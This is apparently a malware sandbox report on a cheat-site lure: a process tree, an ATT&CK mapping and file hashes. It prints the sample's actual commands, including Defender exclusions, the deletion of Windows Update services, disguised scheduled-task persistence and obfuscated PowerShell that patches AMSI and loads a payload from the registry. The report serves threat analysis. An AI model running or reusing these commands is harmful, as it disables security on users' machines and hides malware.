"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffedb6e46f8,0x7ffedb6e4708,0x7ffedb6e4718
7⤵
PID:1680

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2096,7291535786009789896,405932162670350720,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2708 /prefetch:8
7⤵
PID:1128

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2096,7291535786009789896,405932162670350720,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2364 /prefetch:3
7⤵
PID:1436

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,7291535786009789896,405932162670350720,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2108 /prefetch:2
7⤵
PID:5072

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7291535786009789896,405932162670350720,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3412 /prefetch:1
7⤵
PID:1280

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7291535786009789896,405932162670350720,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3420 /prefetch:1
7⤵
PID:388

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7291535786009789896,405932162670350720,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3924 /prefetch:1
7⤵
PID:1184

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7291535786009789896,405932162670350720,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5300 /prefetch:1
7⤵
PID:4676

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://cheat4.biz/index.php?do=register
6⤵
PID:5032

C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3292

C:\Users\Admin\AppData\Local\Temp\SysApp.exe
"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1340

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"
6⤵
- Creates scheduled task(s)
PID:3276

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 8 -s 244
3⤵
- Program crash
PID:3040

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1280

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
- Suspicious use of WriteProcessMemory
PID:2348

C:\Windows\System32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:2012

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:1884

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:2140

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:4480

C:\Windows\System32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:4872

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:1376

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
PID:4612

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
- Modifies security service
PID:1732

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:4508

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:1500

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2756

C:\Windows\System32\dialer.exe
C:\Windows\System32\dialer.exe
2⤵
PID:2500

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 8 -ip 8
1⤵
PID:2228

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:TruyCuTxhqeC{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$rWtKulrIXNhBfj,[Parameter(Position=1)][Type]$JvvRBpvHRB)$KHXsrobqSBP=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+'e'+[Char](99)+''+'t'+'e'+'d'+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+'g'+'a'+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+'M'+''+'e'+''+[Char](109)+''+'o'+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+'',$False).DefineType('My'+[Char](68)+'e'+[Char](108)+''+[Char](101)+'ga'+[Char](116)+'e'+'T'+''+[Char](121)+'pe',''+[Char](67)+''+'l'+''+[Char](97)+''+'s'+'s'+','+''+[Char](80)+'u'+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+'S'+''+'e'+'a'+'l'+''+'e'+''+'d'+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+'las'+[Char](115)+''+','+'A'+[Char](117)+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+'l'+'ass',[MulticastDelegate]);$KHXsrobqSBP.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+'e'+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+'l'+''+[Char](78)+''+[Char](97)+'m'+[Char](101)+''+','+''+[Char](72)+''+[Char](105)+''+'d'+''+'e'+''+[Char](66)+''+[Char](121)+'Si'+'g'+''+','+''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+'c',[Reflection.CallingConventions]::Standard,$rWtKulrIXNhBfj).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$KHXsrobqSBP.DefineMethod('I'+[Char](110)+''+'v'+''+'o'+''+[Char](107)+'e',''+[Char](80)+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+''+[Char](44)+'H'+[Char](105)+''+'d'+'e'+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+','+[Char](78)+''+[Char](101)+''+'w'+'S'+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+'u'+''+[Char](97)+''+'l'+'',$JvvRBpvHRB,$rWtKulrIXNhBfj).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+[Char](44)+'M'+[Char](97)+''+[Char](110)+'a'+'g'+''+'e'+'d');Write-Output $KHXsrobqSBP.CreateType();}$zxeMTgfQdJLaI=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+'e'+'m'+''+[Char](46)+''+'d'+''+'l'+''+'l'+'')}).GetType(''+'M'+'i'+[Char](99)+''+[Char](114)+''+'o'+'s'+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+'Wi'+[Char](110)+''+[Char](51)+''+'2'+''+[Char](46)+'U'+[Char](110)+''+'s'+''+[Char](97)+''+'f'+'e'+[Char](122)+''+'x'+''+'e'+'M'+[Char](84)+''+[Char](103)+'f'+'Q'+''+[Char](100)+''+[Char](74)+''+[Char](76)+''+[Char](97)+'I');$FZgMdZkmMayzLT=$zxeMTgfQdJLaI.GetMethod(''+'F'+''+[Char](90)+''+'g'+''+[Char](77)+'d'+[Char](90)+'k'+[Char](109)+'M'+'a'+''+'y'+'z'+[Char](76)+''+'T'+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](83)+'t'+[Char](97)+''+[Char](116)+'ic',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$bqaCfhBWQNumKxMPqJW=TruyCuTxhqeC @([String])([IntPtr]);$JsrzbHtQeJhxphximWyXnx=TruyCuTxhqeC @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$FJHJejFlYwO=$zxeMTgfQdJLaI.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'M'+'o'+[Char](100)+'ul'+[Char](101)+''+[Char](72)+'a'+'n'+'d'+[Char](108)+'e').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+''+'n'+'e'+[Char](108)+''+'3'+''+[Char](50)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')));$PnuwsYQpRoQhrv=$FZgMdZkmMayzLT.Invoke($Null,@([Object]$FJHJejFlYwO,[Object]('L'+[Char](111)+'ad'+[Char](76)+''+[Char](105)+''+[Char](98)+''+'r'+'a'+'r'+''+[Char](121)+''+[Char](65)+'')));$PPgTBDGRDDaxlkMyZ=$FZgMdZkmMayzLT.Invoke($Null,@([Object]$FJHJejFlYwO,[Object](''+[Char](86)+''+[Char](105)+'r'+'t'+''+[Char](117)+''+[Char](97)+'l'+'P'+''+'r'+''+[Char](111)+''+'t'+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$CaarRAF=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PnuwsYQpRoQhrv,$bqaCfhBWQNumKxMPqJW).Invoke('a'+[Char](109)+''+[Char](115)+'i.'+'d'+'ll');$EJheCWKHkYZDhpZNp=$FZgMdZkmMayzLT.Invoke($Null,@([Object]$CaarRAF,[Object](''+[Char](65)+''+'m'+'s'+[Char](105)+'Sc'+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+'f'+''+'f'+''+'e'+''+[Char](114)+'')));$EjLXHUfefm=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PPgTBDGRDDaxlkMyZ,$JsrzbHtQeJhxphximWyXnx).Invoke($EJheCWKHkYZDhpZNp,[uint32]8,4,[ref]$EjLXHUfefm);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$EJheCWKHkYZDhpZNp,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PPgTBDGRDDaxlkMyZ,$JsrzbHtQeJhxphximWyXnx).Invoke($EJheCWKHkYZDhpZNp,[uint32]8,0x20,[ref]$EjLXHUfefm);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+'d'+'i'+[Char](97)+''+'l'+''+[Char](101)+'r'+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)
1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3060

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:UQsPSukRNdfV{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$PhNtuxIkWaIiOi,[Parameter(Position=1)][Type]$YPXmHxQkZo)$LcARyYavrip=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+'fle'+[Char](99)+''+[Char](116)+'e'+[Char](100)+''+[Char](68)+''+'e'+''+'l'+'e'+'g'+'a'+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+[Char](77)+''+'e'+''+'m'+''+[Char](111)+''+[Char](114)+''+[Char](121)+'Mo'+'d'+''+'u'+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+''+[Char](97)+'t'+'e'+''+[Char](84)+'yp'+'e'+'',''+[Char](67)+'las'+[Char](115)+''+','+''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+''+'i'+'c'+[Char](44)+'S'+'e'+''+'a'+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+'A'+'n'+'s'+'i'+'C'+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+''+','+'Aut'+[Char](111)+'C'+'l'+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$LcARyYavrip.DefineConstructor('R'+[Char](84)+''+'S'+''+[Char](112)+'e'+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+'a'+''+[Char](109)+''+'e'+''+[Char](44)+'H'+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+'g,P'+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$PhNtuxIkWaIiOi).SetImplementationFlags(''+[Char](82)+'u'+'n'+'t'+[Char](105)+'m'+'e'+','+'M'+''+[Char](97)+''+'n'+'a'+[Char](103)+''+[Char](101)+''+[Char](100)+'');$LcARyYavrip.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+'u'+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+'i'+''+[Char](103)+',N'+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+''+'l'+'',$YPXmHxQkZo,$PhNtuxIkWaIiOi).SetImplementationFlags('Ru'+[Char](110)+'t'+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+'na'+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $LcARyYavrip.CreateType();}$yZnUkMrDXhqqb=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'')}).GetType(''+'M'+''+'i'+''+'c'+''+[Char](114)+''+'o'+''+'s'+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+'.'+''+[Char](87)+'i'+[Char](110)+''+[Char](51)+'2'+'.'+''+[Char](85)+''+'n'+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+[Char](121)+''+[Char](90)+''+'n'+''+[Char](85)+'k'+[Char](77)+''+[Char](114)+''+[Char](68)+''+[Char](88)+'hqqb');$vMxLEahwuIXYbc=$yZnUkMrDXhqqb.GetMethod(''+[Char](118)+''+'M'+'x'+[Char](76)+''+'E'+'ah'+[Char](119)+''+[Char](117)+''+[Char](73)+''+'X'+'Y'+'b'+''+[Char](99)+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+'c'+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+'t'+''+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$lwzbWlhNxtYwBiMtSRz=UQsPSukRNdfV @([String])([IntPtr]);$GNJdkQCstVBdPeTmwMVLSR=UQsPSukRNdfV @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$jwesfAFVWga=$yZnUkMrDXhqqb.GetMethod('G'+'e'+''+[Char](116)+''+[Char](77)+''+'o'+''+'d'+''+'u'+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+'n'+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+'3'+''+'2'+'.d'+[Char](108)+'l')));$oeWqGNYPxpujAY=$vMxLEahwuIXYbc.Invoke($Null,@([Object]$jwesfAFVWga,[Object](''+'L'+'o'+'a'+''+[Char](100)+'L'+'i'+''+[Char](98)+''+[Char](114)+''+[Char](97)+'r'+[Char](121)+''+[Char](65)+'')));$LrpyxpMmHJXtSmZLl=$vMxLEahwuIXYbc.Invoke($Null,@([Object]$jwesfAFVWga,[Object]('V'+[Char](105)+'rt'+[Char](117)+''+[Char](97)+''+'l'+''+[Char](80)+''+'r'+''+[Char](111)+'te'+[Char](99)+''+[Char](116)+'')));$bxtKkhd=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($oeWqGNYPxpujAY,$lwzbWlhNxtYwBiMtSRz).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](46)+''+'d'+'l'+'l'+'');$XehsbzRZjhgyhDPIC=$vMxLEahwuIXYbc.Invoke($Null,@([Object]$bxtKkhd,[Object](''+'A'+''+[Char](109)+'s'+'i'+'S'+[Char](99)+'a'+'n'+''+[Char](66)+'u'+'f'+''+'f'+'er')));$PLAthGMuJw=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LrpyxpMmHJXtSmZLl,$GNJdkQCstVBdPeTmwMVLSR).Invoke($XehsbzRZjhgyhDPIC,[uint32]8,4,[ref]$PLAthGMuJw);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$XehsbzRZjhgyhDPIC,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LrpyxpMmHJXtSmZLl,$GNJdkQCstVBdPeTmwMVLSR).Invoke($XehsbzRZjhgyhDPIC,[uint32]8,0x20,[ref]$PLAthGMuJw);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+''+'T'+'WAR'+'E'+'').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+'le'+[Char](114)+''+[Char](115)+'t'+[Char](97)+''+'g'+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:928

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{5d527181-f349-4a46-bee2-bbabe00654cf}
1⤵
PID:3116

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffedb6e46f8,0x7ffedb6e4708,0x7ffedb6e4718
1⤵
PID:1200

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1868

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

Modify Registry

Scripting

Web Service

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
5a10efe23009825eadc90c37a38d9401

SHA1
fd98f2ca011408d4b43ed4dfd5b6906fbc7b87c0

SHA256
05e135dee0260b4f601a0486401b64ff8653875d74bf259c2da232550dbfb4f5

SHA512
89416a3f5bf50cd4a432ac72cd0a7fb79d5aeb10bdcc468c55bbfa79b9f43fab17141305d44cb1fe980ec76cc6575c27e2bcfcbad5ccd886d45b9de03fb9d6d7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
c1a3c45dc07f766430f7feaa3000fb18

SHA1
698a0485bcf0ab2a9283d4ebd31ade980b0661d1

SHA256
adaba08026551b1b8f6c120143686da79f916d02adbef4a8d1c184e32a19fd48

SHA512
9fc93f01ab4b14f555791d757ffe881787cc697102547c61847552e597e206e70c6d35fedff559c72a0a67d1b95e769095ecb0a8a7d4f07cf58a7a0d57d3e9f4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
c1a3c45dc07f766430f7feaa3000fb18

SHA1
698a0485bcf0ab2a9283d4ebd31ade980b0661d1

SHA256
adaba08026551b1b8f6c120143686da79f916d02adbef4a8d1c184e32a19fd48

SHA512
9fc93f01ab4b14f555791d757ffe881787cc697102547c61847552e597e206e70c6d35fedff559c72a0a67d1b95e769095ecb0a8a7d4f07cf58a7a0d57d3e9f4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
c1a3c45dc07f766430f7feaa3000fb18

SHA1
698a0485bcf0ab2a9283d4ebd31ade980b0661d1

SHA256
adaba08026551b1b8f6c120143686da79f916d02adbef4a8d1c184e32a19fd48

SHA512
9fc93f01ab4b14f555791d757ffe881787cc697102547c61847552e597e206e70c6d35fedff559c72a0a67d1b95e769095ecb0a8a7d4f07cf58a7a0d57d3e9f4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Filesize
70KB

MD5
e5e3377341056643b0494b6842c0b544

SHA1
d53fd8e256ec9d5cef8ef5387872e544a2df9108

SHA256
e23040951e464b53b84b11c3466bbd4707a009018819f9ad2a79d1b0b309bc25

SHA512
83f09e48d009a5cf83fa9aa8f28187f7f4202c84e2d0d6e5806c468f4a24b2478b73077381d2a21c89aa64884df3c56e8dc94eb4ad2d6a8085ac2feb1e26c2ef

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Microsoft Edge.lnk
Filesize
2KB

MD5
785747ff5c0f172d425740fc076d2364

SHA1
b78751fcbfac36f4df2624a82eaef3363214722a

SHA256
176b94ed78493a82ac79d35542032384e55930a8a45373aefd09baf0d55aef10

SHA512
70388e4d29cea4b81c8d174fd9a4a94d2086bdce77cf42f7a598e60812583eaab792ee547233426a0b53685ceed2aa33ce1ef941627687a6b6a35adbda749069

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
4KB

MD5
0bc42a9e59959234ca5fb5e92377e0c6

SHA1
af00f4f54aa587e2691558df7148b12ef66323dd

SHA256
51a136b27c90cc53b0436614df94acf45e0529b36ed1cb27104e6fe310ed88fd

SHA512
928f5ae83857a02fccb28491c24f3deb41d3c0d68858e7004a6c055e972f993298e6bcd30d291b1cb5603ef0d7df7dd40c57d95404bf59317b76efeb22414d28

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Filesize
24KB

MD5
5edab6d3ffbeee247ccb4423f929a323

SHA1
a4ad201d149d59392a2a3163bd86ee900e20f3d9

SHA256
